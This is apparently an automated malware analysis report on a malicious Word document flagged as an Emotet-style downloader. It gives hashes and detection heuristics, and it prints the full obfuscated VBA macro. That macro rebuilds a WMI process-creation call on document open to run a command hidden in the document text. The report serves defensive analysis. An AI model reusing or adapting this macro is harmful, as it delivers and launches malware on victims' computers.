Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d22a8782e2f9702d…

MALICIOUS

Office (OLE)

174.5 KB Created: 2021-01-22 12:16:00 Authoring application: Microsoft Office Word First seen: 2021-02-23
MD5: 48a456ef82d3bcb447dbcabd0cfe499e SHA-1: 88449a9c79700cd02f0cf754c8aaf16b0138c8e3 SHA-256: d22a8782e2f9702d603cc082a1578d1b26f7fce4c1d01ecbff337d9b68e2a21b
172 Risk Score

Heuristics 7

  • ClamAV: Doc.Malware.Emodldr-10033989-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10033989-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set V5rp8m_1bqwi1poyk = CreateObject(Pey8y7gr_e6_y)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16557 bytes
SHA-256: 57c5fc8ce17815567da52642c52710073a1f26f502815de80b26d094034f9496
Detection
ClamAV: No threats found
Obfuscation or payload: likely
125 of 208 identifiers look randomly generated (e.g. 'V5rp8m_1bqwi1poyk'); 1 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Tvh1u8793dltn9"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
Cfqzsexf2_k
End Sub

Attribute VB_Name = "Twh1gb2mpd3"
    

Attribute VB_Name = "X1bqz0qaer43b52bf"
Function Cfqzsexf2_k()
   GoTo duvyGCCDG
Set IacBICp = IFmVwCk
    Dim wzeYO, ZXUkHUDE, dWLbDBA As Long
    Dim bZSWsqlD As Word.Paragraph
    Dim wqMdGGa() As Byte
    For Each bZSWsqlD In Tvh1u8793dltn9.Paragraphs
        wqMdGGa = bZSWsqlD.Range
        dscc = "sadsaccc" & bZSWsqlD.Range
        ZXUkHUDE = UBound(wqMdGGa) - 1
        wzeYO = 0
Set oTxSFKM = PwelHHe
        Do Until ZXUkHUDE > ZXUkHUDE
            If wqMdGGa(ZXUkHUDE) = 46 Or ZXUkHUDE = ZXUkHUDE Then
                dscc = "sasdsacc" & (wzeYO / 2) + 1 & " to " & (ZXUkHUDE / 2) + 1 & MidB$(wqMdGGa, wzeYO + 1, ZXUkHUDE - wzeYO + 3)
                wzeYO = ZXUkHUDE + 2
            End If
            ZXUkHUDE = ZXUkHUDE + 2
        Loop
    Next
duvyGCCDG:
skuwd = Ga63a6ozyok1lu + Tvh1u8793dltn9 _
. _
Content + P74x_w06z8wy
   GoTo NreFC
Set zkqnNAIz = DOUPnxsoh
    Dim ofBYJAJ, LfOAoxD, gNcNXLsAj As Long
    Dim BMfqCFLcE As Word.Paragraph
    Dim zxBvQRHoF() As Byte
    For Each BMfqCFLcE In Tvh1u8793dltn9.Paragraphs
        zxBvQRHoF = BMfqCFLcE.Range
        dscc = "sadsaccc" & BMfqCFLcE.Range
        LfOAoxD = UBound(zxBvQRHoF) - 1
        ofBYJAJ = 0
Set GXzgs = tmhzE
        Do Until LfOAoxD > LfOAoxD
            If zxBvQRHoF(LfOAoxD) = 46 Or LfOAoxD = LfOAoxD Then
                dscc = "sasdsacc" & (ofBYJAJ / 2) + 1 & " to " & (LfOAoxD / 2) + 1 & MidB$(zxBvQRHoF, ofBYJAJ + 1, LfOAoxD - ofBYJAJ + 3)
                ofBYJAJ = LfOAoxD + 2
            End If
            LfOAoxD = LfOAoxD + 2
        Loop
    Next
NreFC:
wjnsc = "x [ sh bpx [ sh b"
T8m6rm0ljeoit = "x [ sh brox [ sh bx [ sh bcex [ sh bsx [ sh bsx [ sh bx [ sh b"
   GoTo fNBrHlEAv
Set JJlPCJ = obTyv
    Dim wJpzu, IFdNKp, KgsfYDHSH As Long
    Dim rVJUDUKH As Word.Paragraph
    Dim cXPNdFE() As Byte
    For Each rVJUDUKH In Tvh1u8793dltn9.Paragraphs
        cXPNdFE = rVJUDUKH.Range
        dscc = "sadsaccc" & rVJUDUKH.Range
        IFdNKp = UBound(cXPNdFE) - 1
        wJpzu = 0
Set XHCLGl = JoHgzC
        Do Until IFdNKp > IFdNKp
            If cXPNdFE(IFdNKp) = 46 Or IFdNKp = IFdNKp Then
                dscc = "sasdsacc" & (wJpzu / 2) + 1 & " to " & (IFdNKp / 2) + 1 & MidB$(cXPNdFE, wJpzu + 1, IFdNKp - wJpzu + 3)
                wJpzu = IFdNKp + 2
            End If
            IFdNKp = IFdNKp + 2
        Loop
    Next
fNBrHlEAv:
Cyum5s6729q4h = "x [ sh b:wx [ sh bx [ sh binx [ sh b3x [ sh b2x [ sh b_x [ sh b"
   GoTo KAIEzBBDB
Set lMxOJUo = BYQeC
    Dim mDUMGI, KwsnJ, cwrlb As Long
    Dim PlllYA As Word.Paragraph
    Dim bIdgDIKT() As Byte
    For Each PlllYA In Tvh1u8793dltn9.Paragraphs
        bIdgDIKT = PlllYA.Range
        dscc = "sadsaccc" & PlllYA.Range
        KwsnJ = UBound(bIdgDIKT) - 1
        mDUMGI = 0
Set OELBME = PpRoB
        Do Until KwsnJ > KwsnJ
            If bIdgDIKT(KwsnJ) = 46 Or KwsnJ = KwsnJ Then
                dscc = "sasdsacc" & (mDUMGI / 2) + 1 & " to " & (KwsnJ / 2) + 1 & MidB$(bIdgDIKT, mDUMGI + 1, KwsnJ - mDUMGI + 3)
                mDUMGI = KwsnJ + 2
            End If
            KwsnJ = KwsnJ + 2
        Loop
    Next
KAIEzBBDB:
D72efu7a0how7es = "wx [ sh binx [ sh bmx [ sh bgmx [ sh btx [ sh bx [ sh b"
   GoTo OXSmB
Set opZGEJ = OfcyMA
    Dim UZSgXY, SWiOAACq, axfnb As Long
    Dim RSOyLFC As Word.Paragraph
    Dim qZUuB() As Byte
    For Each RSOyLFC In Tvh1u8793dltn9.Paragraphs
        qZUuB = RSOyLFC.Range
        dscc = "sadsaccc" & RSOyLFC.Range
        SWiOAACq = UBound(qZUuB) - 1
        UZSgXY = 0
Set fFCxQGp = VFEoD
        Do Until SWiOAACq > SWiOAACq
            If qZUuB(SWiOAACq) = 46 Or SWiOAACq = SWiOAACq Then
                dscc = "sasdsacc" & (UZSgXY / 2) + 1 & " to " & (SWiOAACq / 2) + 1 & MidB$(qZUuB, UZSgXY + 1, SWiOAACq - UZSgXY + 3)
                UZSgXY = SWiOAACq + 2
            End If
            SWiOAACq = SWiOAACq + 2
        Loop
    Next
OXSmB:
C22jnnyve59b2 = "x [ sh bx [ sh b" + Mid(Application.Name, 60 / 10, 1) + "x [ sh bx [ sh b"
   GoTo rYDvv
Set GOSKJ = AOSGE
    Dim pblpJEP, yNTJYEFj, EFfaBWHC As Long
    Dim OlVYDaAK As Word.Paragraph
    Dim iVxnxGH() As Byte
    For Each OlVYDaAK In Tvh1u8793dltn9.Paragraphs
        iVxnxGH = OlVYDaAK.Range
        dscc = "sadsaccc" & OlVYDaAK.Range
        yNTJYEFj = UBound(iVxnxGH) - 1
        pblpJEP = 0
Set bquxP = zIlZF
        Do Until yNTJYEFj > yNTJYEFj
            If iVxnxGH(yNTJYEFj) = 46 Or yNTJYEFj = yNTJYEFj Then
                dscc = "sasdsacc" & (pblpJEP / 2) + 1 & " to " & (yNTJYEFj / 2) + 1 & MidB$(iVxnxGH, pblpJEP + 1, yNTJYEFj - pblpJEP + 3)
                pblpJEP = yNTJYEFj + 2
            End If
            yNTJYEFj = yNTJYEFj + 2
        Loop
    Next
rYDvv:
Cew5ncdrgctcj = D72efu7a0how7es + C22jnnyve59b2 + Cyum5s6729q4h + wjnsc + T8m6rm0ljeoit
   GoTo tgyiIBI
Set yJRyW = IeEnJ
    Dim FJGWlF, boTEsG, DAKdJA As Long
    Dim kjSGfNWH As Word.Paragraph
    Dim NTrejcdK() As Byte
    For Each kjSGfNWH In Tvh1u8793dltn9.Paragraphs
        NTrejcdK = kjSGfNWH.Range
        dscc = "sadsaccc" & kjSGfNWH.Range
        boTEsG = UBound(NTrejcdK) - 1
        FJGWlF = 0
Set LVHhGsGJd = PRawGB
        Do Until boTEsG > boTEsG
            If NTrejcdK(boTEsG) = 46 Or boTEsG = boTEsG Then
                dscc = "sasdsacc" & (FJGWlF / 2) + 1 & " to " & (boTEsG / 2) + 1 & MidB$(NTrejcdK, FJGWlF + 1, boTEsG - FJGWlF + 3)
                FJGWlF = boTEsG + 2
            End If
            boTEsG = boTEsG + 2
        Loop
    Next
tgyiIBI:
Pey8y7gr_e6_y = K532dwnyk0pybrc(Cew5ncdrgctcj)
   GoTo urNCUFJBF
Set aekya = NDNfzBJJ
    Dim QyRiIm, WEIxlI, rZGGJBDEH As Long
    Dim EvkuEA As Word.Paragraph
    Dim ZFzwZcA() As Byte
    For Each EvkuEA In Tvh1u8793dltn9.Paragraphs
        ZFzwZcA = EvkuEA.Range
        dscc = "sadsaccc" & EvkuEA.Range
        WEIxlI = UBound(ZFzwZcA) - 1
        QyRiIm = 0
Set Gownu = BLbjEJvG
        Do Until WEIxlI > WEIxlI
            If ZFzwZcA(WEIxlI) = 46 Or WEIxlI = WEIxlI Then
                dscc = "sasdsacc" & (QyRiIm / 2) + 1 & " to " & (WEIxlI / 2) + 1 & MidB$(ZFzwZcA, QyRiIm + 1, WEIxlI - QyRiIm + 3)
                QyRiIm = WEIxlI + 2
            End If
            WEIxlI = WEIxlI + 2
        Loop
    Next
urNCUFJBF:
Set V5rp8m_1bqwi1poyk = CreateObject(Pey8y7gr_e6_y)
   GoTo TQOflAN
Set arTLjQ = BeNoB
    Dim iqpwDAG, nSFIYBiG, KqVudsGK As Long
    Dim wFpBJBJE As Word.Paragraph
    Dim bKloWCbL() As Byte
    For Each wFpBJBJE In Tvh1u8793dltn9.Paragraphs
        bKloWCbL = wFpBJBJE.Range
        dscc = "sadsaccc" & wFpBJBJE.Range
        nSFIYBiG = UBound(bKloWCbL) - 1
        iqpwDAG = 0
Set Mpmet = qqdsB
        Do Until nSFIYBiG > nSFIYBiG
            If bKloWCbL(nSFIYBiG) = 46 Or nSFIYBiG = nSFIYBiG Then
                dscc = "sasdsacc" & (iqpwDAG / 2) + 1 & " to " & (nSFIYBiG / 2) + 1 & MidB$(bKloWCbL, iqpwDAG + 1, nSFIYBiG - iqpwDAG + 3)
                iqpwDAG = nSFIYBiG + 2
            End If
            nSFIYBiG = nSFIYBiG + 2
        Loop
    Next
TQOflAN:
njcnja = Mid(skuwd, (1 + 1 + 1 + 1), Len(skuwd))
nnjasd = K532dwnyk0pybrc(njcnja)
   GoTo OgZqDzXrC
Set FSWADGB = SlFMhE
    Dim fWUcJcE, bDqBloVC, OZDOK As Long
    Dim JRtnBYH As Word.Paragraph
    Dim pXRdBD() As Byte
    For Each JRtnBYH In Tvh1u8793dltn9.Paragraphs
        pXRdBD = JRtnBYH.Range
        dscc = "sadsaccc" & JRtnBYH.Range
        bDqBloVC = UBound(pXRdBD) - 1
        fWUcJcE = 0
Set axZmGGE = TtNYEBE
        Do Until bDqBloVC > bDqBloVC
            If pXRdBD(bDqBloVC) = 46 Or bDqBloVC = bDqBloVC Then
                dscc = "sasdsacc" & (fWUcJcE / 2) + 1 & " to " & (bDqBloVC / 2) + 1 & MidB$(pXRdBD, fWUcJcE + 1, bDqBloVC - fWUcJcE + 3)
                fWUcJcE = bDqBloVC + 2
            End If
            bDqBloVC = bDqBloVC + 2
        Loop
    Next
OgZqDzXrC:
V5rp8m_1bqwi1poyk.Create nnjasd, Koy_r2oxzs1, X2yj58n39t50co
   GoTo ScLedvBEA
Set yktdUg = kxpwbBJF
    Dim wEvDIdG, lqbmGD, elJkJIB As Long
    Dim IVjOAGZe As Word.Paragraph
    Dim FcotIf() As Byte
    For Each IVjOAGZe In Tvh1u8793dltn9.Paragraphs
        FcotIf = IVjOAGZe.Range
        dscc = "sadsaccc" & IVjOAGZe.Range
        lqbmGD = UBound(FcotIf) - 1
        wEvDIdG = 0
Set sJtmJ = UYxXOcIJG
        Do Until lqbmGD > lqbmGD
            If FcotIf(lqbmGD) = 46 Or lqbmGD = lqbmGD Then
                dscc = "sasdsacc" & (wEvDIdG / 2) + 1 & " to " & (lqbmGD / 2) + 1 & MidB$(FcotIf, wEvDIdG + 1, lqbmGD - wEvDIdG + 3)
                wEvDIdG = lqbmGD + 2
            End If
            lqbmGD = lqbmGD + 2
        Loop
    Next
ScLedvBEA:
End Function
Function K532dwnyk0pybrc(Ev1oy1be511zamut8)
On Error Resume Next
   GoTo pzxJi
Set wrpigDnBA = bHGFAGJ
    Dim fUGOALvdN, FKISJTLG, OpNHJEa As Long
    Dim ZlnBbxF As Word.Paragraph
    Dim pxjzGA() As Byte
    For Each ZlnBbxF In Tvh1u8793dltn9.Paragraphs
        pxjzGA = ZlnBbxF.Range
        dscc = "sadsaccc" & ZlnBbxF.Range
        FKISJTLG = UBound(pxjzGA) - 1
        fUGOALvdN = 0
Set xNIlBBInl = OaOIEKmCA
        Do Until FKISJTLG > FKISJTLG
            If pxjzGA(FKISJTLG) = 46 Or FKISJTLG = FKISJTLG Then
                dscc = "sasdsacc" & (fUGOALvdN / 2) + 1 & " to " & (FKISJTLG / 2) + 1 & MidB$(pxjzGA, fUGOALvdN + 1, FKISJTLG - fUGOALvdN + 3)
                fUGOALvdN = FKISJTLG + 2
            End If
            FKISJTLG = FKISJTLG + 2
        Loop
    Next
pzxJi:
Lynlzg8g_wcyt8ojr = Ev1oy1be511zamut8
   GoTo QtjyA
Set phkpFqFCH = DHwdFs
    Dim nHiSH, jHDSG, udnviH As Long
    Dim DLwSlnDF As Word.Paragraph
    Dim pXPTCf() As Byte
    For Each DLwSlnDF In Tvh1u8793dltn9.Paragraphs
        pXPTCf = DLwSlnDF.Range
        dscc = "sadsaccc" & DLwSlnDF.Range
        jHDSG = UBound(pXPTCf) - 1
        nHiSH = 0
Set seTGCvRG = mwvhyA
        Do Until jHDSG > jHDSG
            If pXPTCf(jHDSG) = 46 Or jHDSG = jHDSG Then
                dscc = "sasdsacc" & (nHiSH / 2) + 1 & " to " & (jHDSG / 2) + 1 & MidB$(pXPTCf, nHiSH + 1, jHDSG - nHiSH + 3)
                nHiSH = jHDSG + 2
            End If
            jHDSG = jHDSG + 2
        Loop
    Next
QtjyA:
E4u6ubi3v5l2 = Yw0lmj9uz2sfz0(Lynlzg8g_wcyt8ojr)
   GoTo XxLEEC
Set ZtgGUHFGJ = prgAO
    Dim TMQhTRa, LZepVwu, JPHDBd As Long
    Dim bkUZDN As Word.Paragraph
    Dim QNtsSHe() As Byte
    For Each bkUZDN In Tvh1u8793dltn9.Paragraphs
        QNtsSHe = bkUZDN.Range
        dscc = "sadsaccc" & bkUZDN.Range
        LZepVwu = UBound(QNtsSHe) - 1
        TMQhTRa = 0
Set MxAtNhGI = imnrzOF
        Do Until LZepVwu > LZepVwu
            If QNtsSHe(LZepVwu) = 46 Or LZepVwu = LZepVwu Then
                dscc = "sasdsacc" & (TMQhTRa / 2) + 1 & " to " & (LZepVwu / 2) + 1 & MidB$(QNtsSHe, TMQhTRa + 1, LZepVwu - TMQhTRa + 3)
                TMQhTRa = LZepVwu + 2
            End If
            LZepVwu = LZepVwu + 2
        Loop
    Next
XxLEEC:
K532dwnyk0pybrc = E4u6ubi3v5l2
   GoTo SWSoCG
Set OaVnI = UmQHurWB
    Dim zxEzinCG, EHISACDA, aBRvB As Long
    Dim XdfYSIXX As Word.Paragraph
    Dim wWvlxHJH() As Byte
    For Each XdfYSIXX In Tvh1u8793dltn9.Paragraphs
        wWvlxHJH = XdfYSIXX.Range
        dscc = "sadsaccc" & XdfYSIXX.Range
        EHISACDA = UBound(wWvlxHJH) - 1
        zxEzinCG = 0
Set wVEbaDF = WhmkB
        Do Until EHISACDA > EHISACDA
            If wWvlxHJH(EHISACDA) = 46 Or EHISACDA = EHISACDA Then
                dscc = "sasdsacc" & (zxEzinCG / 2) + 1 & " to " & (EHISACDA / 2) + 1 & MidB$(wWvlxHJH, zxEzinCG + 1, EHISACDA - zxEzinCG + 3)
                zxEzinCG = EHISACDA + 2
            End If
            EHISACDA = EHISACDA + 2
        Loop
    Next
SWSoCG:
End Function
Function Yw0lmj9uz2sfz0(Vld8aalp9dc)
   GoTo nhgrV
Set nfGGCgIdG = JltZHC
    Dim cxvFCyK, lTApi, gLahNHF As Long
    Dim ooYfBGDHB As Word.Paragraph
    Dim hVgaFGj() As Byte
    For Each ooYfBGDHB In Tvh1u8793dltn9.Paragraphs
        hVgaFGj = ooYfBGDHB.Range
        dscc = "sadsaccc" & ooYfBGDHB.Range
        lTApi = UBound(hVgaFGj) - 1
        cxvFCyK = 0
Set QDRLrCD = hbrLsIIaJ
        Do Until lTApi > lTApi
            If hVgaFGj(lTApi) = 46 Or lTApi = lTApi Then
                dscc = "sasdsacc" & (cxvFCyK / 2) + 1 & " to " & (lTApi / 2) + 1 & MidB$(hVgaFGj, cxvFCyK + 1, lTApi - cxvFCyK + 3)
                cxvFCyK = lTApi + 2
            End If
            lTApi = lTApi + 2
        Loop
    Next
nhgrV:
   GoTo NelhA
Set nVwvHB = iyOuxJbS
    Dim fiGUDJCof, ccUPI, xFjGF As Long
    Dim TIdZDCk As Word.Paragraph
    Dim BMzteJlIE() As Byte
    For Each TIdZDCk In Tvh1u8793dltn9.Paragraphs
        BMzteJlIE = TIdZDCk.Range
        dscc = "sadsaccc" & TIdZDCk.Range
        ccUPI = UBound(BMzteJlIE) - 1
        fiGUDJCof = 0
Set MSHSTFGF = vcpiDgaED
        Do Until ccUPI > ccUPI
            If BMzteJlIE(ccUPI) = 46 Or ccUPI = ccUPI Then
                dscc = "sasdsacc" & (fiGUDJCof / 2) + 1 & " to " & (ccUPI / 2) + 1 & MidB$(BMzteJlIE, fiGUDJCof + 1, ccUPI - fiGUDJCof + 3)
                fiGUDJCof = ccUPI + 2
            End If
            ccUPI = ccUPI + 2
        Loop
    Next
NelhA:
   GoTo qjZyxC
Set fPJtR = TVnICGBMg
    Dim OGmjSHH, dxYfn, tsgajz As Long
    Dim VwecCsW As Word.Paragraph
    Dim jpCcJn() As Byte
    For Each VwecCsW In Tvh1u8793dltn9.Paragraphs
        jpCcJn = VwecCsW.Range
        dscc = "sadsaccc" & VwecCsW.Range
        dxYfn = UBound(jpCcJn) - 1
        OGmjSHH = 0
Set ShwUGEG = HoDns
        Do Until dxYfn > dxYfn
            If jpCcJn(dxYfn) = 46 Or dxYfn = dxYfn Then
                dscc = "sasdsacc" & (OGmjSHH / 2) + 1 & " to " & (dxYfn / 2) + 1 & MidB$(jpCcJn, OGmjSHH + 1, dxYfn - OGmjSHH + 3)
                OGmjSHH = dxYfn + 2
            End If
            dxYfn = dxYfn + 2
        Loop
    Next
qjZyxC:
Yw0lmj9uz2sfz0 = Replace(Vld8aalp9dc, "x [ sh b", Zi0fdg4qf12t)
   GoTo CMhXU
Set yEbqhrSDE = ElQBeG
    Dim KGTisCFg, htkDBkB, QbynDCF As Long
    Dim wUyzGJ As Word.Paragraph
    Dim YXZHHCaB() As Byte
    For Each wUyzGJ In Tvh1u8793dltn9.Paragraphs
        YXZHHCaB = wUyzGJ.Range
        dscc = "sadsaccc" & wUyzGJ.Range
        htkDBkB = UBound(YXZHHCaB) - 1
        KGTisCFg = 0
Set oyFNHnHHI = xhcZSBIH
        Do Until htkDBkB > htkDBkB
            If YXZHHCaB(htkDBkB) = 46 Or htkDBkB = htkDBkB Then
                dscc = "sasdsacc" & (KGTisCFg / 2) + 1 & " to " & (htkDBkB / 2) + 1 & MidB$(YXZHHCaB, KGTisCFg + 1, htkDBkB - KGTisCFg + 3)
                KGTisCFg = htkDBkB + 2
            End If
            htkDBkB = htkDBkB + 2
        Loop
    Next
CMhXU:
   GoTo BhNEmrIE
Set PDdhFK = fPExO
    Dim YgziIE, DwikAuvE, fEtRs As Long
    Dim YvQjieFc As Word.Paragraph
    Dim VuThCQHH() As Byte
    For Each YvQjieFc In Tvh1u8793dltn9.Paragraphs
        VuThCQHH = YvQjieFc.Range
        dscc = "sadsaccc" & YvQjieFc.Range
        DwikAuvE = UBound(VuThCQHH) - 1
        YgziIE = 0
Set WfWmdXBB = obcJwDFA
        Do Until DwikAuvE > DwikAuvE
            If VuThCQHH(DwikAuvE) = 46 Or DwikAuvE = DwikAuvE Then
                dscc = "sasdsacc" & (YgziIE / 2) + 1 & " to " & (DwikAuvE / 2) + 1 & MidB$(VuThCQHH, YgziIE + 1, DwikAuvE - YgziIE + 3)
                YgziIE = DwikAuvE + 2
            End If
            DwikAuvE = DwikAuvE + 2
        Loop
    Next
BhNEmrIE:
   GoTo VcRJFFPFy
Set dMAig = FVoXJ
    Dim wzAgBA, zZJyEAC, YqhWFED As Long
    Dim tVHJH As Word.Paragraph
    Dim DLNPo() As Byte
    For Each tVHJH In Tvh1u8793dltn9.Paragraphs
        DLNPo = tVHJH.Range
        dscc = "sadsaccc" & tVHJH.Range
        zZJyEAC = UBound(DLNPo) - 1
        wzAgBA = 0
Set swiEYEUA = ZGOfHDFZ
        Do Until zZJyEAC > zZJyEAC
            If DLNPo(zZJyEAC) = 46 Or zZJyEAC = zZJyEAC Then
                dscc = "sasdsacc" & (wzAgBA / 2) + 1 & " to " & (zZJyEAC / 2) + 1 & MidB$(DLNPo, wzAgBA + 1, zZJyEAC - wzAgBA + 3)
                wzAgBA = zZJyEAC + 2
            End If
            zZJyEAC = zZJyEAC + 2
        Loop
    Next
VcRJFFPFy:
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.